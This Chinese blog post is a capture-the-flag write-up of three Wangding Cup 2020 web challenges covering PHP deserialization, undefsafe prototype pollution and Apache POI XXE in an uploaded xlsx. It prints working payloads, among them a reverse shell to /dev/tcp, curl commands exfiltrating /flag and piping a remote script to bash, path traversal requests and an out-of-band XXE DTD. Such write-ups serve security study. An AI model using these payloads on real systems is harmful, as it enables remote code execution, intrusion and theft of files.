欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

网鼎杯2020 青龙组 -web

程序员文章站 2022-05-19 13:38:25
...

AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

直接利用read()去读flag.php文件,当时看到write()好几个条件,想复杂了还以为要挂马
read()之前就会调用__destruct()魔术方法,如果$this->op === “2"就会设置$this->op为"1” process()中的比较为else if ($this->op == “2”),可用弱类型绕过

生成脚本如下:

<?php

class FileHandler {

    public $op = 2;		//php7.1+版本对属性类型不敏感用public绕过即可
    public $filename = "flag.php";
    protected $content;

}

$c=new FileHandler();
print(serialize($c));

得到:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:10:"*content";N;}

网鼎杯2020 青龙组 -web
反序列化之前is_valid($s)会做逐字判断,ascii必须>=32或<=125,所以不能用%00进行标识,可用十六进制\00和S

自己加上\00*\00或者/00*/00 (再多几个0也是可以出flag的)
网鼎杯2020 青龙组 -web

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:10:"/00*/00content";N;} 

网鼎杯2020 青龙组 -web
比赛的时候直接相对路径读flag.php行不通,需要知道绝对路径,先查看/proc/self/cmdline,得到配置文件路径 /web/config/httpd.conf,路径为web/html

Notes

CVE-2019-10795 undefsafe原型链污染
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

/status,可执行系统命令,通过污染commands字典来执行恶意命令,/edit_note可以传参id author enote
网鼎杯2020 青龙组 -web
再看到notes.edit_note处。 note_list,为一个字典
网鼎杯2020 青龙组 -web
令command多了一个键值对 author:系统命令,遍历时自动执行
/edit_note post传参 id=proto.bb&author=curl -F ‘aaa@qq.com/flag’ 174.1.84.222:2333&raw=a
或者:id=_proto_,author=bash -i > /dev/tcp/ip/port 0>&1,raw=123
id=_proto_.abc&author=curl%20ip:port/shell.txt|bash&raw=a
id=_proto_&author=cat /flag>/dev/tcp/xxxxx/51003&raw=123
网鼎杯2020 青龙组 -web
buu另用小号开一台内网服务器监听端口
然后访问/status触发命令执行
网鼎杯2020 青龙组 -web网鼎杯2020 青龙组 -web

filejava

上传一个文件试试
网鼎杯2020 青龙组 -web网鼎杯2020 青龙组 -web

应该对文件有限制,不合规的就删除了
不过这里存在目录穿越可以下载任意文件/DownloadServlet?filename=…/…/…/…/WEB-INF/web.xml
网鼎杯2020 青龙组 -web
把这几个文件也下载下来
/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ UploadServlet.class

用JD-GUI反编译打开DownloadServlet.class中禁止了直接读取flag
网鼎杯2020 青龙组 -web
关键在UploadServlet.class
网鼎杯2020 青龙组 -web
限制文件为excel-****.xlsx
Apache POI XML外部实体漏洞CVE-2014-3529 (poi-ooxml-3.10-FINAL.jar及以下版本) https://www.jianshu.com/p/73cd11d83c30, 用 .xlsx然后构造xml文件读flag
Apache POI 是 Apache 软件基金会的开源项目,POI 提供 API 接口给 Java 程序对 Microsoft office 格式文档读写能力。
Microsoft Office从2007版本引入了新的开放的XML文件格式,新的XML文件格式基于压缩的ZIP文件格式规范
poi-ooxml 包里org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile 中读取 [Content-Types].xml 时没有进行 XXE 防护。

新建一个test.xlsx ,用压缩软件打开
网鼎杯2020 青龙组 -web
解压之后,编辑文件[Content_Types].xml。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Types xmlns=“http://schemas.openxmlformats.org/package/2006/content-types”>之间添加内容:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.1.87.154/file.dtd">
%remote;%int;%send;
]>

网鼎杯2020 青龙组 -web
再压缩成zip,修改后缀名为.xlsx

buu用小号开台内网服务器,在/var/www/html,创建文件file.dtd,添加内容:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.87.154:2333?popko=%file;'>">

然后监听端口,上传刚才准备的xlsx文件
网鼎杯2020 青龙组 -web

参考:

https://www.gem-love.com/websecurity/2322.html
https://blog.csdn.net/qq_43801002/article/details/106062209
https://blog.csdn.net/alex_bean/article/details/106124750